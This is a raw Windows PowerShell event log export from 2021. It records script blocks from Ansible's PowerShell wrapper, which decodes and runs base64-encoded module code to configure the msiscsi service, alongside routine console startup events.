sZXNzIHdlIGRlbGV0ZWQgaXQKaWYgKCRzdGF0ZSAtZXEgJ2Fic2VudCcpIHsKICAgICMgUmVjcmVhdGUgcmVzdWx0IHNvIGl0IGRvZXNuJ3QgaGF2ZSB0aGUgZXh0cmEgbWV0YSBkYXRhIG5vdyB0aGF0IGlzIGhhcyBiZWVuIGRlbGV0ZWQKICAgICRjaGFuZ2VkID0gJHJlc3VsdC5jaGFuZ2VkCiAgICAkcmVzdWx0ID0gQHsKICAgICAgICBjaGFuZ2VkID0gJGNoYW5nZWQKICAgICAgICBleGlzdHMgPSAkZmFsc2UKICAgIH0KfSBlbHNlaWYgKCRzdmMgLW5lICRudWxsKSB7CiAgICBHZXQtU2VydmljZUluZm8gLW5hbWUgJG5hbWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "name": "msiscsi", "start_mode": "auto", "_ansible_module_name": "win_service", "_ansible_remote_tmp": "%TEMP%", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "state": "started", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null, "_ansible_no_log": false}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 6ae0a1e5-5f79-42dc-8246-4ef2b7a4e600
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1754 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-2aed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 6):
IGludGVyYWN0ICQoJGRlc2t0b3BfaW50ZXJhY3QpOiAkKCRyZXR1cm4uUmV0dXJuVmFsdWUpIC0gJGVycm9yX21zZyIKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKICAgIH0KfQoKRnVuY3Rpb24gU2V0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aW9uIC1lcSAnYWRkJykgewogICAgICAgICAgICAgICAgaWYgKCRuZXdfZGVwZW5kZW5jaWVzIC1ub3Rjb250YWlucyAkZGVwZW5kZW5jeSkgewogICAgICAgICAgICAgICAgICAgICRuZXdfZGVwZW5kZW5jaWVzLkFkZCgkZGVwZW5kZW5jeSkKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAkd2lsbF9jaGFuZ2UgPSAkZmFsc2UKICAgIGZvcmVhY2ggKCRkZXBlbmRlbmN5IGluICRuZXdfZGVwZW5kZW5jaWVzKSB7CiAgICAgICAgaWYgKCRleGlzdGluZ19kZXBlbmRlbmNpZXMgLW5vdGNvbnRhaW5zICRkZXBlbmRlbmN5KSB7CiAgICAgICAgICAgICR3aWxsX2NoYW5nZSA9ICR0cnVlCiAgICAgICAgfQogICAgfQogICAgZm9yZWFjaCAoJGRlcGVuZGVuY3kgaW4gJGV4aXN0aW5nX2RlcGVuZGVuY2llcykgewogICAgICAgIGlmICgkbmV3X2RlcGVuZGVuY2llcyAtbm90Y29udGFpbnMgJGRlcGVuZGVuY3kpIHsKICAgICAgICAgICAgJHdpbGxfY2hhbmdlID0gJHRydWUKICAgICAgICB9CiAgICB9CgogICAgaWYgKCR3aWxsX2NoYW5nZSAtZXEgJHRydWUpIHsKICAgICAgICBpZiAoLW5vdCAkY2hlY2tfbW9kZSkgewogICAgICAgICAgICAkcmV0dXJuID0gJHdtaV9zdmMgfCBJbnZva2UtQ2ltTWV0aG9kIC1NZXRob2ROYW1lIENoYW5nZSAtQXJndW1lbnRzIEB7U2VydmljZURlcGVuZGVuY2llcyA9ICRuZXdfZGVwZW5kZW5jaWVzfQogICAgICAgICAgICBpZiAoJHJldHVybi5SZXR1cm5WYWx1ZSAtbmUgMCkgewogICAgICAgICAgICAgICAgJGVycm9yX21zZyA9IEdldC1XbWlFcnJvck1lc3NhZ2UgLXJldHVybl92YWx1ZSAkcmV0dXJuLlJldHVyblZhbH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mUtT2JqZWN0IHsgJF8uTmFtZSAtZXEgJG5hbWUgLW9yICRfLkRpc3BsYXlOYW1lIC1lcSAkbmFtZSB9CmlmICgkc3ZjKSB7CiAgICBTZXQtU2VydmljZUNvbmZpZ3VyYXRpb24gLXN2YyAkc3ZjCn0gZWxzZSB7CiAgICAkcmVzdWx0LmV4aXN0cyA9ICRmYWxzZQogICAgaWYgKCRzdGF0ZSAtbmUgJ2Fic2VudCcpIHsKICAgICAgICAjIENoZWNrIGlmIHBhdGggaXMgZGVmaW5lZCwgaWYgc28gY3JlYXRlIHRoZSBzZXJ2aWNlCiAgICAgICAgaWYgKCRwYXRoIC1uZSAkbnVsbCkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgTmV3LVNlcnZpY2UgLU5hbWUgJG5hbWUgLUJpbmFyeVBhdGhuYW1lICRwYXRoIC1XaGF0SWY6JGNoZWNrX21vZGUKICAgICAgICAgICAgfSBjYXRjaCB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gJHJlc3VsdCAkXy5FeGNlcHRpb24uTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXN1bHQuY2hhbmdlZCA9ICR0cnVlCgogICAgICAgICAgICAkc3ZjID0gR2V0LVNlcnZpY2UgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkbmFtZSB9CiAgICAgICAgICAgIFNldC1TZXJ2aWNlQ29uZmlndXJhdGlvbiAtc3ZjICRzdmMKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAjIFdlIHdpbGwgb25seSByZWFjaCBoZXJlIGlmIHRoZSBzZXJ2aWNlIGlzIGluc3RhbGxlZCBhbmQgdGhlIHN0YXRlIGlzIG5vdCBhYnNlbnQKICAgICAgICAgICAgIyBXaW
ScriptBlock ID: 6ae0a1e5-5f79-42dc-8246-4ef2b7a4e600
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1753 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-2aed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 6):
AgICRzdmMgPSBHZXQtU2VydmljZSB8IFdoZXJlLU9iamVjdCB7ICRfLk5hbWUgLWVxICRuYW1lIC1vciAkXy5EaXNwbGF5TmFtZSAtZXEgJG5hbWUgfQogICAgJHdtaV9zdmMgPSBHZXQtQ2ltSW5zdGFuY2UgLUNsYXNzTmFtZSBXaW4zMl9TZXJ2aWNlIC1GaWx0ZXIgIm5hbWU9JyQoJHN2Yy5OYW1lKSciCgogICAgIyBEZWxheWVkIHN0YXJ0X21vZGUgaXMgaW4gcmVhbGl0eSBBdXRvbWF0aWMgKERlbGF5ZWQpLCBuZWVkIHRvIGNoZWNrIHJlZyBrZXkgZm9yIHR5cGUKICAgICRkZWxheWVkID0gR2V0LURlbGF5ZWRTdGF0dXMgLW5hbWUgJHN2Yy5OYW1lCiAgICAkYWN0dWFsX3N0YXJ0X21vZGUgPSAkd21pX3N2Yy5TdGFydE1vZGUuVG9TdHJpbmcoKS5Ub0xvd2VyKCkgCiAgICBpZiAoJGRlbGF5ZWQgLWFuZCAkYWN0dWFsX3N0YXJ0X21vZGUgLWVxICdhdXRvJykgewogICAgICAgICRhY3R1YWxfc3RhcnRfbW9kZSA9ICdkZWxheWVkJwogICAgfQoKICAgICRleGlzdGluZ19kZXBlbmRlbmNpZXMgPSBAKCkKICAgICRleGlzdGluZ19kZXBlbmRlZF9ieSA9IEAoKQogICAgaWYgKCRzdmMuU2VydmljZXNEZXBlbmRlZE9uLkNvd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ICRkZXNrdG9wX2ludGVyYWN0KSB7CiAgICBpZiAoJHJlc3VsdC5kZXNrdG9wX2ludGVyYWN0IC1uZSAkZGVza3RvcF9pbnRlcmFjdCkgewogICAgICAgIGlmICgtbm90ICRjaGVja19tb2RlKSB7CiAgICAgICAgICAgICRyZXR1cm4gPSAkd21pX3N2YyB8IEludm9rZS1DaW1NZXRob2QgLU1ldGhvZE5hbWUgQ2hhbmdlIC1Bcmd1bWVudHMgQHtEZXNrdG9wSW50ZXJhY3QgPSAkZGVza3RvcF9pbnRlcmFjdH0KICAgICAgICAgICAgaWYgKCRyZXR1cm4uUmV0dXJuVmFsdWUgLW5lIDApIHsKICAgICAgICAgICAgICAgICRlcnJvcl9tc2cgPSBHZXQtV21pRXJyb3JNZXNzYWdlIC1yZXR1cm5fdmFsdWUgJHJldHVybi5SZXR1cm5WYWx1ZQogICAgICAgICAgICAgICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAiRmFpbGVkIHRvIHNldCBkZXNrdG9w
ScriptBlock ID: 6ae0a1e5-5f79-42dc-8246-4ef2b7a4e600
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1752 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-2aed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 6):
CAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmV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4cGFuZEVudmlyb25tZW50VmFyaWFibGVzKCRwYXRoKQp9CgpGdW5jdGlvbiBHZXQtU2VydmljZUluZm8oJG5hbWUpIHsKICAgICMgTmVlZCB0byBnZXQgbmV3IG9iamVjdHMgc28gd2UgaGF2ZSB0aGUgbGF0ZXN0IGluZm8KIC
ScriptBlock ID: 6ae0a1e5-5f79-42dc-8246-4ef2b7a4e600
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1751 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-2aed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 6):
gc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgIFNldC1BdHRyICRyZXN1bHQgImNoYW5nZWQiICR0cnVlCiM+CgogICAgIyBJZiB0aGUgcHJvdmlkZWQgJG9iaiBpcyB1bmRlZmluZWQsIGRlZmluZSBvbmUgdG8gYmUgbmljZQogICAgSWYgKC1ub3QgJG9iai5HZXRUeXBlKQogICAgewogICAgICAgICRvYmogPSBAeyB9CiAgICB9CgogICAgVHJ5CiAgICB7CiAgICAgICAgJG9iai4kbmFtZSA9ICR2YWx1ZQogICAgfQogICAgQ2F0Y2gKICAgIHsKICAgICAgICAkb2JqIHwgQWRkLU1lbWJlciAtRm9yY2UgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICRuYW1lIC1WYWx1ZSAkdmFsdWUKICAgIH0KfQoKRnVuY3Rpb24gRXhpdC1Kc29uKCRvYmopCnsKP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gICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICA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tUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgI
ScriptBlock ID: 6ae0a1e5-5f79-42dc-8246-4ef2b7a4e600
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1750 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-2aed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 6):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91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1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.SID": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCkZ1bmN0aW9uIENvbnZlcnQtRnJvbVNJRCgkc2lkKSB7CiAgICAjIENvbnZlcnRzIGEgU0lEIHRvIGEgRG93bi1MZXZlbCBMb2dvbiBuYW1lIGluIHRoZSBmb3JtIG9mIERPTUFJTlxVc2VyTmFtZQogICAgIyBJZiB0aGUgU0lEIGlzIGZvciBhIGxvY2FsIHVzZXIgb3IgZ3JvdXAgdGhlbiBET01BSU4gd291bGQgYmUgdGhlIHNlcnZlcgogICAgIyBuYW1lLgoKICAgICRhY2NvdW50X29iamVjdCA9IE5ldy1PYmplY3QgU3lzd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V4cG9ydC1Nb2R1bGVNZW1iZXIgLUFsaWFzICogLUZ1bmN0aW9uICogLUNtZGxldCAqCg==", "Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIFRoaXMgaXMgYSBjb252ZW5pZW5jZSB0byBtYWtlIGFkZGluZyBNZW1iZXJzIHRvIHRoZSBvYmplY3QgZWFzaWVyIGFuZAogICA
ScriptBlock ID: 6ae0a1e5-5f79-42dc-8246-4ef2b7a4e600
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1749 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 3980 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0000-2aed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1748 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 1840 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0001-7329-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4664 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1747 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 4584 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0001-7329-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1746 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4664 | 1840 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:59 AM | dfeadd90-ee34-0001-7329-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1745 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1360 | 600 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:58 AM | dfeadd90-ee34-0001-6e29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
